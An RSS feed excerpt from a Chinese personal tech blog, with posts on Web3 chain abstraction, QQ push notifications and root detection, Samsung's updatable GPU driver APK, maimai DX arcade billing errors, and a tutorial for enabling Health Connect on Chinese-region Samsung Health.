&lt;p&gt;虽然偶尔还会有个小故障，但工程师们通过 Firedancer（独立验证者客户端）等技术把它硬生生优化到了极致，满足了人类对即时反馈的贪婪&lt;/p&gt;
&lt;h2&gt;Layer 2 / Layer 3&lt;/h2&gt;
&lt;p&gt;在25年11月那篇blog，我曾说过要&lt;strong&gt;修铁路&lt;/strong&gt;，但目前来看，铁路已经够多了，出现了运力严重过剩与轨距不一的问题&lt;/p&gt;
&lt;p&gt;在2024到2025年，Web3 经历了一场造轮子大跃进。因为有了 Rollup 这种技术栈（OP Stack, ZK Stack），&lt;strong&gt;发一条链的成本降到了只要几分钟&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;结果就是，大家全去搞 Layer 2 了（Arbitrum, Optimism, Base, Blast, Mantle...简直是报菜名一般的）。每个资本、每个大交易所都要修一条自己的私铁&lt;/p&gt;
&lt;p&gt;这导致了极其严重的&lt;strong&gt;流动性割裂&lt;/strong&gt;。你的 USDT 在 A 链上，想去 B 链买个东西，就像坐火车从俄罗斯到中国，因为轨距不一，必须在边境下车，把货物卸下来，换一种车厢再装上去（这就是跨链桥）&lt;/p&gt;
&lt;p&gt;现在的情况就是，铁路修得比乘客还多，各种私铁互相抢客源。这就是卖铲子和修铁路的产能过剩&lt;/p&gt;
&lt;h2&gt;3. 真正工程突破：链抽象&lt;/h2&gt;
&lt;p&gt;面对几百条互不相通的私铁，我们没有去强行拆铁轨，而是做了一个极度务实的架构升级：在所有私铁上面，盖了一层全局路由网络。&lt;strong&gt;这就叫链抽象&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在以前，用户要配置 RPC 节点、要买不同链的 Gas 币、要自己找跨链桥、要承担资金被黑客半路劫走的风险&lt;/li&gt;
&lt;li&gt;而现在你只需要一个智能钱包。钱包背后的 &lt;strong&gt;Solver（求解器网络）&lt;/strong&gt; 和 &lt;strong&gt;跨链消息协议（如 LayerZero, CCIP）&lt;/strong&gt; 会在一秒钟内自动帮你规划路线、垫付各种乱七八糟gas、完成跨链兑换&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用户根本不知道自己跨越了哪几条底层私铁，不用管是宽轨还是窄轨，只要把钱付了，货物就送到了。&lt;strong&gt;底层的私铁被彻底抽象掉了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是链抽象的终极目标：&lt;strong&gt;用户只需要知道自己想做什么，不需要知道在哪条链上做。链变成一个对用户透明的基础设施&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我觉得这是web3走向大众的关键一步&lt;/p&gt;
&lt;h2&gt;4. 账户抽象 ERC-4337 普及&lt;/h2&gt;
&lt;p&gt;记得以前搞个 Web3 钱包，必须拿笔记下 12 个毫无逻辑的助记词吗？丢了就倾家荡产，太反人类了&lt;/p&gt;
&lt;p&gt;而现在我们有了智能钱包，我们直接用Passkey技术，只需要Google或者Apple ID就能直接创建钱包&lt;/p&gt;
&lt;p&gt;以前你去买东西，必须用特定的ETH / SOL。现在你随便给什么稳定币，或者应用开发商为了拉客直接帮你把gas付了&lt;/p&gt;
&lt;h2&gt;5. 结&lt;/h2&gt;
&lt;p&gt;如果你现在再来看我说的这片&lt;em&gt;1840年的荒原&lt;/em&gt;，你会发现一个很有意思的现象：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在现在，那些天天把 Web3、去中心化挂在嘴边的人变少了&lt;/strong&gt;
因为这项技术终于像 TCP/IP 一样，&lt;strong&gt;沉下去了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个拼凑起来的全球铁路网依然不完美，跨链桥偶尔还会被黑客当张作霖炸（虽然被盗金额在急剧下降），有些垃圾私铁上跑着的全是骗子专列&lt;/p&gt;
&lt;p&gt;但对于我们这些写代码的人来说，这套东西终于到了&lt;strong&gt;API 可以被丝滑调用&lt;/strong&gt;的阶段。无论是把美债 Token 化、让跨境电商秒级结汇，还是在云端租算力付钱，这套基于密码学的全球状态机都已经做好了准备，并在全天候无休止地吞吐着包&lt;/p&gt;
&lt;p&gt;我们不再需要向大众解释什么是区块链，就像我们不需要向卖菜的大妈解释什么是 HTTP 一样。铁路修好了，调度系统跑通了，接下来，就是安安静静地看着这套系统，去侵蚀传统金融和跨境数据流转的版图，这就是web3在2026年存在的意义&lt;/p&gt;
</content:encoded><category>web3</category><category>互联网</category><author>Chongxi</author></item><item><title>QQ走mipush推送服务会检测root</title><link>https://xice.cx/posts/mipushQQ/</link><guid isPermaLink="true">https://xice.cx/posts/mipushQQ/</guid><description>​本文提供了QQ通过mipush推送服务时因检测到root而不推送的案例</description><pubDate>Sun, 08 Mar 2026 19:21:11 GMT</pubDate><content:encoded>&lt;p&gt;挺抽象的，在此之前我从来没考虑过是root的问题&lt;/p&gt;
&lt;p&gt;首先我正确配置了mipush服务，QQ也正常注册，也使用机型模块伪装对QQ伪装成了小米设备，刚开始能正常推送，后来突然不推送了，删除/data/data QQ里的mipush配置文件重新注册也不起作用&lt;/p&gt;
&lt;p&gt;今天下午无意间打开momo才发现，自己的shamiko被关了，直接一个大大的「已发现su」糊脸上，把shamiko打开后重启，结果QQ的mipush推送又好了，太神秘了，不知道有没有遇到过同样情况的&lt;/p&gt;
&lt;p&gt;为什么说是只有QQ会检测到root就不推送呢，因为闲鱼等app他是可以正常推送的，我甚至没有针对他们进行小米机型伪造，QQ检测真的是&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;momo-root-Detection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.png&quot; alt=&quot;mipush-screenshot&quot; /&gt;&lt;/p&gt;
</content:encoded><category>root</category><category>软件茶谈</category><author>Chongxi</author></item><item><title>三星极致的软件模块化：图形驱动居然是个apk</title><link>https://xice.cx/posts/samGPUdriverApk/</link><guid isPermaLink="true">https://xice.cx/posts/samGPUdriverApk/</guid><description>​为什么三星的显卡驱动能在应用商店更新？本文回溯了 2020 年三星推出的 Samsung Game Driver 模块，解析了其背后的技术逻辑</description><pubDate>Sun, 01 Mar 2026 18:31:11 GMT</pubDate><content:encoded>&lt;img src=&quot;https://xice.cx/1.png&quot; alt=&quot;三星极致的软件模块化：图形驱动居然是个apk&quot; style=&quot;border-radius: 1rem; margin-bottom: 1rem; max-width: 100%; height: auto;&quot; /&gt;&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;经常玩手游的三星用户，在折腾性能优化的时候估计听到过一个说法&lt;strong&gt;去应用商店更新下图形驱动&lt;/strong&gt;。乍一看有点离谱，驱动这种东西为什么是在应用商店更新？结果一看还真是个apk，是不是感觉草台班子？本文将把时间线拨回2020年，以Galaxy S20为起点，带你了解三星这个神秘的&lt;strong&gt;图形驱动APK化&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. 为什么是 Galaxy S20？&lt;/h2&gt;
&lt;p&gt;2020 年发布的 Galaxy S20 系列是安卓阵营的一个重要分水岭。这要归功于当时三个底层技术的一拍即合&lt;/p&gt;
&lt;p&gt;首先是&lt;strong&gt;硬件&lt;/strong&gt;方面，在 2019 年底发布的骁龙 865 处理器上，高通首次宣布支持&lt;strong&gt;可更新的 GPU 驱动&lt;/strong&gt;。S20 正是首批搭载骁龙 865 的旗舰机&lt;/p&gt;
&lt;p&gt;其次就是软件方面，Google在 Android 10 中引入了 &lt;strong&gt;Project Mainline&lt;/strong&gt;，其核心目的就是&lt;strong&gt;系统组件模块化，允许通过应用商店更新核心组件&lt;/strong&gt;。而Samsung作为Android的老大哥，也是第一时间跟进了这个&lt;/p&gt;
&lt;p&gt;到了 2020 年底，Samsung 真的在 Google Play 商店和自家的 Galaxy Store 上架了名为 &lt;strong&gt;Samsung Game Driver&lt;/strong&gt; 的独立 APK 应用，这就标志着 GPU 驱动作为 App 存在的正式落地&lt;/p&gt;
&lt;h2&gt;2. 神秘的双版本&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;a-screenshot-of-Samsung-GameDriver-Adreno-S20/N20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你回去看当年的上架记录，会发现一个很有意思的现象，三星上架了两个版本的apk，这其实不难理解&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Samsung Game Driver - Adreno&lt;/strong&gt;，是专门给搭载骁龙处理器的 S20/Note20 系列用的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Samsung Game Driver - Mali&lt;/strong&gt;，这就是专门给搭载猎户座 Exynos 处理器的 S20/Note20 系列用的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当时这个驱动更新并不是&lt;strong&gt;提升全局性能&lt;/strong&gt;，而是&lt;strong&gt;有高度针对性的&lt;/strong&gt;。Samsung 明确写着：本次更新优化了《使命召唤手游》等游戏&lt;/p&gt;
&lt;p&gt;也就是说，如果某个热门大作突然发布，出现了图形错误或者负优化，三星不需要去搞系统OTA，只需找高通等厂商写个补丁，打一个几十MB的apk发在商店，玩家一更新，重进游戏就好&lt;/p&gt;
&lt;h2&gt;3. APK 怎么能变底层驱动？&lt;/h2&gt;
&lt;p&gt;背后的核心机制叫做 &lt;strong&gt;Updatable Graphics Drivers&lt;/strong&gt;，在 AOSP 源码里主要涉及 &lt;code&gt;frameworks/native/libs/graphicsenv&lt;/code&gt; 和 &lt;code&gt;frameworks/native/opengl/libs/EGL/Loader.cpp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们分四个部分来讲&lt;/p&gt;
&lt;h3&gt;3.1 发现机制&lt;/h3&gt;
&lt;p&gt;系统怎么知道这个 APK 是驱动？不是随便装个 APK 就能冒充的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;元数据声明
三星发布的 &lt;code&gt;Samsung Game Driver.apk&lt;/code&gt;，在其 &lt;code&gt;AndroidManifest.xml&lt;/code&gt; 里必须包含特定的 &lt;code&gt;&amp;lt;meta-data&amp;gt;&lt;/code&gt; 标签：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;//示例
    &amp;lt;meta-data android:name=&quot;android.graphics.driver.build_time&quot; value=&quot;Chongxi &amp;amp; CEPATO&quot; /&amp;gt;
    &amp;lt;meta-data android:name=&quot;com.android.graphics.driver.library&quot; value=&quot;libGLESv2_adreno.so&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;com.android.graphics.driver.library&lt;/code&gt; 是关键，它让系统知道他是货真价实的库&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Game Driver Service：&lt;br /&gt;
Android 系统启动时，&lt;code&gt;GraphicsEnvironment&lt;/code&gt;会扫描所有已安装的应用。它会寻找包名符合规则（如 &lt;code&gt;com.samsung.gamedriver.sm8250&lt;/code&gt;）且带有上述元数据的 App&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一旦找到，它会把这个 APK 的路径（&lt;code&gt;/data/app/~~.../base.apk!/lib/arm64-v8a/&lt;/code&gt;）缓存到系统服务里，标记为 &lt;strong&gt;Available Driver Provider&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2 注入&lt;/h3&gt;
&lt;p&gt;当你在启动codm时，进程刚Zygote Fork，加载图形库的流程如下：&lt;/p&gt;
&lt;p&gt;游戏进程首先加载的是系统的 &lt;code&gt;/system/lib64/libEGL.so&lt;/code&gt; 和 &lt;code&gt;/system/lib64/libvulkan.so&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这只是个Wrapper/Stub&lt;/strong&gt;，里面全是空函数或者转发逻辑，真正的驱动还没加载&lt;/p&gt;
&lt;p&gt;在 AOSP 源码的 &lt;code&gt;Loader.cpp&lt;/code&gt; 中，有一个关键函数 &lt;code&gt;Loader::openDriver&lt;/code&gt;。它会向 &lt;code&gt;GraphicsEnvironment&lt;/code&gt; 发起查询：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个叫血战孤儿院的，有没有被指定使用‘Game Driver’？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果确实启用了，Linker 会&lt;strong&gt;创建一个独立的 Native Namespace&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一般情况下 Linker 去 &lt;code&gt;/vendor/lib64/egl&lt;/code&gt; 找 &lt;code&gt;libGLESv2_adreno.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;现在系统会调用 &lt;code&gt;android_create_namespace&lt;/code&gt;，并把 &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; 强行指向 &lt;strong&gt;解压目录&lt;/strong&gt;&lt;code&gt;/data/app/...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这意味着，游戏进程在这个独立的命名空间里，它以为它加载的是系统库，实际上 Linker 给它塞的是 APK 里的 &lt;code&gt;.so&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;3.3 握握手&lt;/h3&gt;
&lt;p&gt;APK 只能更新用户层面(UMD)，也就是运行在 User Space 的 OpenGL/Vulkan 实现库。但硬件是运行在 Kernel Space 的，也就是内核KMD&lt;/p&gt;
&lt;p&gt;在这台手机上&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KMD:&lt;/strong&gt; 是编译进 boot.img 里的 &lt;code&gt;kgsl&lt;/code&gt; 模块。它暴露的设备节点通常是 &lt;code&gt;/dev/kgsl-3d0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UMD:&lt;/strong&gt; 就是 APK 里那几个 &lt;code&gt;.so&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;怎么通讯？&lt;strong&gt;IOCTL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你用 APK 更新了驱动，新的UMD会打开 &lt;code&gt;/dev/kgsl-3d0&lt;/code&gt;，通过 &lt;code&gt;ioctl&lt;/code&gt; 系统调用发送命令流给内核&lt;/p&gt;
&lt;p&gt;:::warn
这里有个大问题就是 ABI稳定性
:::&lt;/p&gt;
&lt;p&gt;APK 里的新驱动（UMD）必须得向下兼容老旧的内核驱动（KMD）&lt;br /&gt;
如果高通在新的 UMD 里用了一个新的 &lt;code&gt;ioctl&lt;/code&gt; 命令，但你的内核是 3 年前的，根本不认识这个指令，&lt;strong&gt;驱动初始化就会失败&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是为什么三星/高通不能无限制地给S20这个机子推送最新的驱动 APK。&lt;strong&gt;APK 里的 UMD 版本，必须跟你的内核 KMD 版本握手成功才能跑&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.4 SELinux&lt;/h3&gt;
&lt;p&gt;Android 的 SELinux 极其严格。普通app是没有权限去加载另一个 App私有目录下的 &lt;code&gt;.so&lt;/code&gt; 文件的&lt;/p&gt;
&lt;p&gt;为了让这个 APK 驱动能跑，Google 在 Android 10 的 SELinux 策略里开了一个白名单&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定义了一个新的域 &lt;code&gt;gamedriver_file&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;允许 &lt;code&gt;appdomain&lt;/code&gt;（普通应用进程）对标记为 &lt;code&gt;gamedriver_file&lt;/code&gt; 的文件执行 &lt;code&gt;map&lt;/code&gt; 和 &lt;code&gt;execute&lt;/code&gt; 操作&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以，那个驱动 APK 安装后，系统会自动给它的 &lt;code&gt;.so&lt;/code&gt; 文件打上特殊的 SELinux 标签，否则 Linker 加载时会被直接Permission Denied&lt;/p&gt;
&lt;p&gt;这就是为什么说 S20 的模块化是教科书级别的&lt;/p&gt;
&lt;p&gt;它在&lt;strong&gt;不刷机、不Root、不修改系统分区&lt;/strong&gt;的前提下，通过 &lt;strong&gt;Linker Namespace&lt;/strong&gt; 和 &lt;strong&gt;SELinux 策略&lt;/strong&gt;，实现了核心渲染逻辑的热替换。这在以前绝对做不到&lt;/p&gt;
&lt;h2&gt;4. 现在如何了&lt;/h2&gt;
&lt;p&gt;既然这个功能这么强，为什么现在好像很少听到大家天天去下「图形驱动 APK」了？&lt;/p&gt;
&lt;p&gt;其实它没有消失，而是变得更无感、更模块化了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google 后来把很多原本需要单独下 APK 的驱动级更新，整合进了系统后台默默进行的「Google Play 系统更新」中&lt;/li&gt;
&lt;li&gt;Samsung 后来把更多的游戏调度、底层适配策略，做进了另一个引发过巨大争议的模块化应用&lt;strong&gt;GOS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GOS 也是一个可以通过应用商店随时热更新的 APK，它不仅能调配驱动参数，还能控制 CPU/GPU 的温控墙和频率&lt;/p&gt;
&lt;h2&gt;5. 小结&lt;/h2&gt;
&lt;p&gt;Samsung 可以说是把系统软件模块化做到极致的厂商，Android 老大哥这名号不是白来的，感兴趣的话以后也可以讲讲Samsung的One UI还有哪些趣事。这里是Chongxi，我们下期再见&lt;/p&gt;
</content:encoded><category>Samsung</category><category>图形驱动</category><category>软件茶谈</category><author>Chongxi</author></item><item><title>舞萌DX报错8103/8106以及0949问题原因分析和解决方案</title><link>https://xice.cx/posts/maiErr810603/</link><guid isPermaLink="true">https://xice.cx/posts/maiErr810603/</guid><description>本文提供了舞萌DX ALLNET系统错误8103/8106的问题分析和解决方案</description><pubDate>Fri, 27 Feb 2026 08:11:10 GMT</pubDate><content:encoded>&lt;p&gt;:::caution
紧急通知，0949是SEGA改bl服务器导致炸机，全国性，SEGA全系用了bl的都会死&lt;/p&gt;
&lt;p&gt;3/2 下午4:30更新 本blog会持续更新进展
:::&lt;/p&gt;
&lt;p&gt;:::tip
现在是晚上九点，目前经测试基本恢复，给机台拔电重启后。在net充值记录查看有没有退款信息，若有就是没问题了
:::&lt;/p&gt;
&lt;h2&gt;0. 案例提供&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;当天包夜到维护时间关机，七点再开机时机台报错&lt;strong&gt;8106&lt;/strong&gt;，8103是刚打完一把就报错，因为是窝里一直开的3倍票&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;非常感谢QQ昵称&lt;strong&gt;红咸&lt;/strong&gt;给出的案例&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;Maimai-ALL.NET-Error-8103&amp;amp;8106&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1. SEGA ALL.Net 计费机制&lt;/h2&gt;
&lt;p&gt;SEGA 应该有一套营收统计系统。玩家的投币等行为会让机台都会生成一条计费日志&lt;/p&gt;
&lt;p&gt;为了防止机厅老板跑路把日本人当日本人整，这些数据不是存在普通的硬盘里，而是硬写入到机台的加密区域中&lt;/p&gt;
&lt;p&gt;由于其存储空间有限，因此，&lt;strong&gt;机台在连网时，或者定时维护时，会将账单上报给 ALL.Net。服务器确认收到后，机台才会清空加密狗里的记录，腾出空间给新的一天使用&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2. 8106 和 8103 代表什么&lt;/h2&gt;
&lt;h3&gt;2.1 8106 预警&lt;/h3&gt;
&lt;p&gt;首先，&lt;strong&gt;系统允许手动开启/关闭预警&lt;/strong&gt;。当存储达到设定阈值时，且机台开启了&lt;strong&gt;ALL.NET&lt;/strong&gt;警告，机台就会提示&lt;strong&gt;8106 ALL.Net 系统警告&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为什么可以关？&lt;br /&gt;
这就像汽车的油量低提示灯，机修人员可以通过后台把灯拔掉，但这&lt;strong&gt;并不会阻止油被耗尽&lt;/strong&gt;，可以说是掩耳盗铃&lt;/p&gt;
&lt;h3&gt;2.2 8103 炸机&lt;/h3&gt;
&lt;p&gt;当他存储彻底满了或达到限制的阈值，机台就会触发 &lt;strong&gt;8103 ALL.Net 系统错误&lt;/strong&gt;&lt;br /&gt;
可能日本人想的是，既然无法记录新的账单，为了防止营收流失，必须拒绝一切游玩请求。所以机台会锁死，无法投币，导致机器无法正常游玩&lt;/p&gt;
&lt;h2&gt;3. 为什么现在出现案例了？&lt;/h2&gt;
&lt;p&gt;国服舞萌DX采用的是类似半买断的机制，本来不需要像日服那样AA，但&lt;strong&gt;SEGA的游戏底层代码并没有阉割掉这套记账逻辑&lt;/strong&gt;，它依然在默默记账，为什么这次会出现这案例，个人猜测可能是服务器原因导致的&lt;/p&gt;
&lt;p&gt;本身最近几次服务器动刀就是屎山上缝缝补补，可能运营方调整服务器的时候不小心干掉了相关代码逻辑，导致机台上传账单不处理/服务器无法正常接收或下发清空配置，这样账单数据一直压在存储里无法正常清除&lt;/p&gt;
&lt;h2&gt;4. 为什么现在是音游窝先给的案例，而不是商业机厅&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么你先给的是音游窝的案例啊，万一窝里偷偷动了什么呢。商业机厅目前没案例那就是没事&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;咋说呢，一般商业机厅，一天可能也就投几百个币，即使几天传不上去，可能还能撑一撑。但包时机台的特点是：玩家开倍票不需要花钱，然后就使劲&lt;strong&gt;ALL&lt;/strong&gt;三倍。更何况很多音游窝都是24h，本身就比一般商业机厅压力大，这就导致目前音游窝的机台最先撞到了物理上限这堵墙，就有了我们今天的案例分析&lt;/p&gt;
&lt;h2&gt;5. 解决办法&lt;/h2&gt;
&lt;p&gt;8106可以在net充值记录中关闭all net警告，8103无解&lt;/p&gt;
&lt;p&gt;:::caution
如果你所在机厅的机台出现此问题，一定要让机厅相关人员提供报错时机台照片等信息给售后
:::&lt;/p&gt;
&lt;h2&gt;6. 现状&lt;/h2&gt;
&lt;p&gt;如果上面再不修复服务端账单的接收/清空机制，或者下发补丁给机台阉割相关无用代码。那么随着时间的推移，哪怕是投币量不大的普通机厅，早晚也会被填满，一起跟着爆&lt;/p&gt;
&lt;p&gt;顺便推荐一下舞萌服务器监测网站: &lt;a href=&quot;https://mai.chongxi.us&quot;&gt;华立服务器死了吗 - 舞萌服务器实时状态监测&lt;/a&gt;，以及&lt;a href=&quot;https://mai.chongxi.us/history&quot;&gt;舞萌服务器故障维护记录&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>&lt;图文教程&gt;三星健康国区启用开发者模式并开启Health Connect健康连接</title><link>https://xice.cx/posts/openDevOnSamsungHelathCN/</link><guid isPermaLink="true">https://xice.cx/posts/openDevOnSamsungHelathCN/</guid><description>本文提供了国区三星健康开启开发者模式，国区转换美区，国区启用Health Connect健康链接的详细指南</description><pubDate>Wed, 25 Feb 2026 23:27:11 GMT</pubDate><content:encoded>&lt;h2&gt;0.1 引&lt;/h2&gt;
&lt;p&gt;三星可以说是锁区比较严重的手机厂商了，国区三星被限制了许多功能，比如三星健康的Health Connect。即使您给三星健康Health Connect的读写权限，国区三星健康也不会主动写入。本文将手把手教你开启国区三星健康的开发者模式，将地区代码更改为US以启用Health Connect&lt;/p&gt;
&lt;h3&gt;0.2 什么是Health Connect&lt;/h3&gt;
&lt;p&gt;Health Connect 是 Google 和 Samsung 联手推出的安卓健康数据共享方案，旨在让不同的健身 App 能够互通有无，实现一处记录、全平台同步的无缝体验&lt;/p&gt;
&lt;h3&gt;0.3 前置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;三星健康app -
*本文测试时版本号&lt;code&gt;6.30.7.004&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Health Connect应用
&lt;em&gt;如果您的Android版本为14及以上，系统内置。否则您需要在Google Play下载&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. 开启开发者模式&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开Samsung健康app，点击主页菜单，进入设置&lt;/li&gt;
&lt;li&gt;找到最下方&lt;strong&gt;关于三星健康&lt;/strong&gt;，连续点击&lt;strong&gt;版本号&lt;/strong&gt;，此时会激活开发者菜单&lt;/li&gt;
&lt;li&gt;点击&lt;strong&gt;Developer Mode(Samsung Health Data SDK)&lt;/strong&gt;，将&lt;strong&gt;Developer Mode for Data Read&lt;/strong&gt;的选项勾选为&lt;strong&gt;ON&lt;/strong&gt;(到这里还没结束!!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./2.png&quot; alt=&quot;Samsung-dev-mode-On&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开任意文件管理器，在&lt;code&gt;/storage/emulated/0/Download/&lt;/code&gt;目录下创建&lt;code&gt;SamsungHealth&lt;/code&gt;文件夹，随后在其中创建&lt;code&gt;FeatureManagerOn&lt;/code&gt;，&lt;code&gt;FeatureListOn&lt;/code&gt;，&lt;code&gt;CscManagerOn&lt;/code&gt;文件夹。创建后其目录呈如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/storage/emulated/0/Download/
└── SamsungHealth/
    ├── FeatureListOn/
    ├── FeatureManagerOn/
    └── CscManagerOn/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warn
注意文件夹名称大小写
:::&lt;/p&gt;
&lt;p&gt;感谢网友 &lt;strong&gt;kkkk&lt;/strong&gt; 对新版本三星健康的补充&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./co.png&quot; alt=&quot;chongxi-blog-Comment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到这里就启用了开发者模式以及相关特性，回到三星健康的关于页面，如果呈下图状则说明成功
&lt;img src=&quot;./1.png&quot; alt=&quot;How-To-Open-Samsung-Health-Developer-Mode&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2. 更改三星健康地区&lt;/h2&gt;
&lt;p&gt;:::warn
接下来的每一步务必严格按照教程执行
:::&lt;/p&gt;
&lt;p&gt;回到关于页面，点击&lt;strong&gt;Set Feature&lt;/strong&gt;进入开发者特性菜单&lt;/p&gt;
&lt;h3&gt;2.1 更改 CSC &amp;amp; MCC&lt;/h3&gt;
&lt;p&gt;点开&lt;strong&gt;Common&lt;/strong&gt;选项，将&lt;strong&gt;CSC Country Code&lt;/strong&gt;更改为&lt;code&gt;US&lt;/code&gt;，然后找到下方的&lt;strong&gt;MCC Configuration&lt;/strong&gt;，更改为&lt;code&gt;310(US)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.png&quot; alt=&quot;CSC &amp;amp; MCC&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.2 更改 HA 服务器&lt;/h3&gt;
&lt;p&gt;点击&lt;strong&gt;Analytics&lt;/strong&gt;选项，将**[HA] Server**更改为&lt;code&gt;DEV&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;HA&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 启用 DataPlatform 开发者模式&lt;/h3&gt;
&lt;p&gt;点击&lt;strong&gt;Data Platform&lt;/strong&gt;，找到&lt;strong&gt;Developer Mode&lt;/strong&gt;和&lt;strong&gt;Data SDK Developer mode&lt;/strong&gt;，勾选为&lt;code&gt;on&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.png&quot; alt=&quot;Dp&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接下来就可以退出该页面，此时三星健康会要求你强行停止一次app，按照要求即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./6.png&quot; alt=&quot;fstop&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;再次进入三星健康时，会重新要求同意隐私协议等，务必选择同意&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后打开设置，即可看见&lt;strong&gt;健康连接&lt;/strong&gt;的选项，进入授予权限即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./7.png&quot; alt=&quot;HealthConnect-in-SamsungHealth&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./8.png&quot; alt=&quot;HealthConnect&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Samsung</category><category>玩机</category><author>Chongxi</author></item><item><title>为什么「己所不欲勿施于人」是人类有史以来最冠冕堂皇的逃避借口</title><link>https://xice.cx/posts/theUltimateExcuse/</link><guid isPermaLink="true">https://xice.cx/posts/theUltimateExcuse/</guid><description>为什么说「己所不欲勿施于人」已沦为绝佳的开脱工具？本文借架构选型的实际案例，解剖其背后的逻辑偷换与道德绑架，为这句话正本清源</description><pubDate>Tue, 24 Feb 2026 14:16:18 GMT</pubDate><content:encoded>&lt;h2&gt;0.1 引&lt;/h2&gt;
&lt;p&gt;如果要在人类历史上评选出一款最完美 最冠冕堂皇的开脱工具，我会毫不犹豫地拿出「己所不欲，勿施于人」这句至圣名言&lt;/p&gt;
&lt;p&gt;从古至今，这八个字一直被奉为道德修养的最高境界。但在现代语境下，尤其是在充斥着主观情绪的互联网讨论中，它不再是约束自己内心的道德明镜，而是变成了一面反弹一切客观事实并试图让对方闭嘴的万能盾牌&lt;/p&gt;
&lt;p&gt;只要你掌握了这句话，你就可以完美地逃避任何你不喜欢的事物 拒绝任何客观的评价。这里就提供一个现实案例&lt;/p&gt;
&lt;h2&gt;0.2 案例还原&lt;/h2&gt;
&lt;p&gt;事情的起因很简单，我在某群里发了一张图，内容是我正在使用 Cloudflare Pages 服务&lt;/p&gt;
&lt;p&gt;群友 A&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么不用 Edgeone Page？&lt;/p&gt;
&lt;/blockquote&gt;
